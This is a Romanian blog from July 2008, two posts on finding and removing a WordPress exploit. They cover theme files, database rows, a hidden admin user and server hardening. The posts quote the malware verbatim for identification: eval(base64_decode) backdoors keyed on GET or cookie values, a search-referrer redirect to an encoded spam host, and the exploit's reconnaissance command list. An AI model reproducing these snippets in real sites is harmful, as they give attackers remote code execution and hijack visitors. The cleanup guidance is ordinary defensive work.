WordPress Exploit – Curatare fisiere virusate, SQL si securizare server.

July 3, 2008


Inainte sa cititi acest post, trebuie sa vedeti , ca sa intelegeti ceva. :)

Am gasit in mai multe fisiere ale blogurilor de pe stealthsettings.com, coduri asemanatoare cu cele de mai jos, aparute ca urmare a virusarii cu exploitul de WordPress.:

<?php if($_GET['573abcb060974771']==”8e96d1b4b674e1d2″){ eval(base64_decode($_POST['file'])); exit; } ?>

si

<?php if($_COOKIE['44e827f9fbeca184']==”5cd3c94b4b1c57ea”){ eval(base64_decode($_POST['file'])); exit; } ?>

xmlrpcIn cazul de mai sus este vorba despre fisierul xmlrpc.php de la Somnoros, dar la un grep pe server, se vede ca sunt destul de multe coduri de acest gen in surse.

pppffiuuu

Curatare fisiere infectate:

Ooookkkk…
1. Cea mai buna solutie, dupa ce este facut backup-ul si curatata baza de date, este sa stergeti fisierele de WordPress (puteti pastra wp-config.php si fisierele care nu tin strict de platforma wp, dupa ce sunt  atent verificate) de pe server si sa faceti upload la cele originale din versiunea 2.5.1 (cu ocazia asta faceti si un upgrade de versiune wp :) ): http://wordpress.org/download/ . Stergeti inclusiv fisierele temei, daca nu aveti incredere ca puteti face o verificare atenta a lor.

Se vede ca au fost afectate si fisiere ale temelor care nu au fost folosite niciodata pe blog si simpla schimbare a temei, nu rezolva aceasta problema.

./andreea/wp-content/themes/default/index.php:<?php if($_COOKIE['44e827f9fbeca184']==”5cd3c94b4b1c57ea”){ eval(base64_decode($_POST['file'])); exit; } ?><?php get_header(); ?>

2. Cautati si stergeti toate fisierele care contin : *_new.php, *_old.php, *.jpgg, *.giff, *.pngg si fisierul wp-info.txt, daca exista.

find . -name “*_new.php”
find . -name “*_old.php”
find . -name “*.jpgg”
find . -name “*_giff”
find . -name “*_pngg”
find . -name “wp-info.txt”

3. in /tmp , cautati si stergeti folderele de genul tmpYwbzT2

Curatare SQL :

1. in tabelul tabelul wp_options vedeti daca exista si stergeti liniile: internal_links_cache, rss_f541b3abd05e7962fcab37737f40fad8 si wordpress_options.

2. Tot in wp_options, mergeti la active_plugins si stergeti daca exista, un plugin care se termina intr-una din extensiile *_new.php, *_old.php, *.jpgg, *.giff, *.pngg sau daca este alta extensie suspecta, verificati cu atentie.

3. In tabelul wp_users, vedeti daca exista un user care nu are scris nimic in dreptul lui, pe coloana user_nicename. Stergeti acest user, dar retineti numarul de pe coloana ID. Acest user este posibil sa foloseasca “WordPress” ca user_login si apare ca este creat la data de 00:00:00 0000-00-00 .

4. Mergeti in tabelul wp_usermeta si stergeti toate liniile care apartin ID-ului de mai sus.

Dupa ce ati facut aceasta curatare de sql, dezactivati si apoi activati un plugin oarecare. (in blog –> Dashboard –> Plugins)

Securizare server:

1. Vedeti ce directoare si fisiere sunt “writable” (chmod 777) si incercati sa puneti pe ele un chmod care sa nu mai permita scrierea lor de la orice nivel. (chmod 644, de exemplu)

find . -perm -2 –ls

2. Vedeti ce fisiere au setat bit-ul suid sau sgid . Daca nu utilizati acele fisiere puneti pe ele chmod 0 sau dezinstalati pachetul care le contine. Sunt foarte periculoase, pentru ca ele executa cu privilegiile “group” sau “root” si nu cu privilegiile utilizatorului normal care executa acel fisier.

find / -type f -perm -04000 -ls
find / -type f -perm -02000 -ls

3. Verificati ce porturi sunt deschise si incercati sa inchideti sau sa securizati pe cele care nu sunt folosite.

netstat -an | grep -i listen

Cam atat. Vad ca de Google Search si altii spun “Bine le-a facut!!!” . Pai bine le-o fi facut…dar ce spuneti daca incepe google sa baneze toate site-urile care fac  SE SPAM si baga troieni (Trojan.Clicker.HTML)  in cookies?

Blogosfera virusata… dar, cu mine ce-ati avut?!

July 2, 2008


In ultima luna, am tot primit avertismente de virus in blog de la unii vizitatori. Initial am ignorat avertismentele, pentru ca aveam instalat un antivirus destul de bun (Kaspersky AV 2009) si desi stateam mult timp pe blog, nu am primit niciodata alerta de virus (.. mai demult am vazut ceva suspect, care la primul refresh a disparut. in fine…).
Incet, incet au inceput sa apara variatii mari ale traficului de vizitatori, dupa care in ultima vreme traficul a scazut constant si au inceput sa fie tot mai multi cei care sa-mi spuna ca stealthsettings.com este virusat. Ieri am primit de la cineva un screenshot facut in momentul in care antivirusul a blocat un script de pe stealthsettings.com :Trojan-Clicker.HTML.IFrame.gr. A fost destul de convingator pentru mine, incat sa ma pun pe cautat in toate sursele. Prima idee care mi-a venit in minte, a fost sa fac upgrade la ultima versiune de WordPress (2.5.1), dar nu inainte de a sterge toate fisierele vechiului script de WordPress si de a face backup la baza de date.  Procedura asta nu a dat niciun rezultat si probabil ar mai fi durat mult timp ca sa-mi dau sema unde e buba, daca nu mi-ar fi spus intr-o discutie la cafea, ca a gasit pe Google si ar fi bine sa-l vad.
MyDigitalLife.info, au publicat un articol cu titlul :  “WordPress Hack: Recover and Fix Google and Search Engine or No Cookie Traffic Redirected to Your-Needs.info, AnyResults.Net, Golden-Info.net and Other Illegal Sites”, care este capatul de fir de care aveam nevoie.
E vorba despre un exploit de WordPress bazat pe cookie, care dupa parerea mea este foarte complex si facut ca la carte. Destul de inteligent incat sa faca un SQL Injection in baza de date a blogului, sa creeze un user invizibil la o simpla verificare de rutina din Dashboard->Users, sa verifice pe server directoarele si fisierele “writable” (care au chmod 777), sa caute si sa execute fisiere cu privilegii de grup sau chiar de root. Nu stiu care este numele exploitului si vad ca sunt putine articole scrise despre el, in ciuda faptului ca sunt foarte multe bloguri infectate, inclusiv din Romania. Ok… o sa incerc sa incerc sa explic generalitati despre acest virus.

Ce face virusul?

In primul rand, insereaza in sursele paginilor de pe bloguri, link-uri invizibile pentru vizitatori dar vizibile si indexabile pentru motoarele de cautare, in special de Google. In acest fel transfera Page Rank catre site-uri indicate de atacator. In al doilea rand,  mai este inserat un cod de redirectionare URL, pentru vizitatorii care vin din Google, Live, Yahoo, … sau dintr-un RSS reader si nu au site-ul in cookie. Un antivirus detecteaza acest redirect ca Trojan-Clicker.HTML.

Simptome:

Scaderea masiva a traficului de vizitatori, in special pe blogurile unde majoritatea vizitatorilor provin din Google.

Identificare: (de aici se complica problema pentru cei care nu cat de cat habar de phpmyadmin, php si linux)

LA. ATENTIE!!! MAI INTAI FACETI UN BACKUP LA BAZA DE DATE!!!

1. Verificati sursele fisierelor index.php, header.php, footer.php, din tema blogului si vedeti daca exista un cod care foloseste criptare base64 sau contine “if($ser==”1? && sizeof($_COOKIE)==0)” de forma :

<?php \
$seref=array(”google”,”msn”,”live”,”altavista”,
”ask”,”yahoo”,”aol”,”cnn”,”weather”,”alexa”);
$ser=0; foreach($seref as $ref)
if(strpos(strtolower
($_SERVER[’HTTP_REFERER’]),$ref)!==false){ $ser=”1?; break; }
if($ser==”1? && sizeof($_COOKIE)==0){ header(”Location: http://”.base64_decode(”YW55cmVzdWx0cy5uZXQ=”).”/”); exit;
}?>

…sau ceva asemanator. Stergeti acest cod!

Click pe imagine…

index code

In screenshot-ul de mai sus eu am selectat din greseala si “<?php get_header(); ?>”. Acel cod trebuie sa ramana.

2. Folositi phpMyAdmin si mergeti in baza de date la tabelul wp_users, unde verificati daca exista un user fara nume, creat la data de 00:00:00 0000-00-00 (este posibil in campul user_login sa scrie “WordPress”. Notati ID-ul acestui user (campul ID) dupa care stergeti-l.

Click pe imagine…

fake user

*cel de pe linia verde, trebuie sters si retinut ID-ul lui. In cazul lui , a fost ID=8 .

3. Mergeti in tabelul wp_usermeta, unde trebuie sa localizati si sa stergeti liniile aferente ID-ului (unde in campul user_id apare valoarea ID-ului sters) .

4. In tabelul wp_option, mergeti in active_plugins si vedeti ce plugin este activat suspect. Acesta poate folosi terminatii de genul _old.giff, _old.pngg, _old.jpeg, _new.php.giff, etc combinatii de extensii imagine bogus cu  _old si _new.

SELECT * FROM wp_options WHERE option_name = ‘active_plugins’

Stergeti acest plugin, dupa care mergeti in blog –> Dashboard –> Plugins, unde dezactivati si activati un plugin oarecare.

Click pe imagine, sa vedeti cum apare fisierul virusat in active_plugins.

plugin

Urmati calea pe FTP sau SSH, indicata in active_plugins si stergeti fisierul de pe server.

5. Tot in phpMyAdmin, in tabelul wp_option, gasiti si stergeti randul care contine “rss_f541b3abd05e7962fcab37737f40fad8” si randul “internal_links_cache”.
In internal_links_cache, sunt puse criptat, link-urile de spam care apar in blog si un cod de Google Adsense, al hackerului.

6. Recomandat este sa va schimbati parola de logare pe blog si sa eliminati toate userele suspecte. Faceti upgrade la ultima versiune de WordPress si setati blogul sa nu mai permita inregistrarea de noi useri. Nu este nicio pierdere…pot sa comenteze si nelogati.

Am incercat mai sus sa explic cat de cat, ce este de facut intr-o asemenea situatie, pentru a curata blogul de acest virus. Problema este mult mai grava decat pare si nici pe departe rezolvata,  pentru ca se folosesc vulnerabilitati de securitate ale webserverului de hosting, pe care este blogul.

Ca prima masura de securizare, care au acces SSH, sa faca cateva verificari pe server pentru a vedea daca mai exista fisiere de genul *_old* si *_new.* cu terminatiile .giff, .jpeg, .pngg, .jpgg. Aceste fisiere trebuiesc sterse. Daca redenumim un fisier, de ex. top_right_old.giff in top_right_old.php, vedem ca in fisier este exact codul de exploit server.

Cateva indicatii utile de verificare, curatare si securizare server.  (via SSH)

1.  cd /tmp si verificati daca exista foldere de genul tmpVFlma sau alte combinatii de nume asemenatoare si stergeti-l. Vedeti in screenshotul de mai jos, doua astfel de foldere la mine:

tmpserver

rm –rf numefolder

2. Verificati si elimiati (schimbati chmod-ul) pe cat posibil folderele cu atribute chmod 777

find all writable files in current dir: find . -type f -perm -2 -ls
find all writable directories in current dir: find . -type d -perm -2 -ls
find all writable directories and files in current dir: find . -perm -2 –ls

3. Cautati fisiere suspecte pe server.

find . -name “*_new.php*”
find . -name “*_old.php*”
find . -name “*.jpgg”
find . -name “*_giff”
find . -name “*_pngg”

4, ATENTIE!!! la fisierele care au setat bitul SUID si SGID. Aceste fisiere executa cu privilegiile utilizatorului (group) sau root, nu cu cele ale utilizatorului care executa fisierul. Aceste fisiere pot duce la compromiterea root, daca sunt probleme de securitate. Daca nu utilizati fisierele cu biti SUID si SGID , executati “chmod 0” pe ele sau dezinstalati pachetul care le contin.

Exploitul contine pe undeva in sursa …:

if(!$safe_mode){
if($os_type == ‘nix’){
$os .= execute(’sysctl -n kern.ostype’);
$os .= execute(’sysctl -n kern.osrelease’);
$os .= execute(’sysctl -n kernel.ostype’);
$os .= execute(’sysctl -n kernel.osrelease’);
if(empty($user)) $user = execute(’id’);
$aliases = array(
” => ”,
‘find suid files’=>’find / -type f -perm -04000 -ls’,
‘find sgid files’=>’find / -type f -perm -02000 -ls’,
‘find all writable files in current dir’=>’find . -type f -perm -2 -ls’,
‘find all writable directories in current dir’=>’find . -type d -perm -2 -ls’,
‘find all writable directories and files in current dir’=>’find . -perm -2 -ls’,
’show opened ports’=>’netstat -an | grep -i listen’,
);
}else{
$os_name .= execute(’ver’);
$user .= execute(’echo %username%’);
$aliases = array(
” => ”,
’show runing services’ => ‘net start’,
’show process list’ => ‘tasklist’
);
}

…practic in acest mod gaseste bresele in securitate. Porturi deschise, directoare “writable” si executare fisiere cu privilegii de grup / root.

Revin cu detalii…

Cateva bloguri infectate: , ,

, , ,
www.razvanmatasel.ro,

blog.hrmarket.ro, www.nitza.ro,
motociclete.motomag.ro,

emi.brainient.com, www.picsel.ro,

,
, www.itex.ro/blog,
www.radiology.ro,

www.dipse.ro/ionut/,
www.vinul.ro/blog/, www.damaideparte.ro,

, www.artistul.ro/blog/,

www.mirabilismedia.ro/blog, blog.einvest.ro
… si lista poate continua … foarte mult.

Puteti verifica daca un blog este virusat, folosind motorul de cautare Google. copy & paste :

site:www.blegoo.com buy

Nopate buna si spor la treaba ;) In curand cred ca va veni cu noutati Eugen, pe prevezibil.imprevizibil.com.

brb :)

LA: ATENTIE! Schimbarea temei de WordPress sau upgrade-ul la WordPress 2.5.1, NU reprezinta o solutie pentru a scapa de acest virus.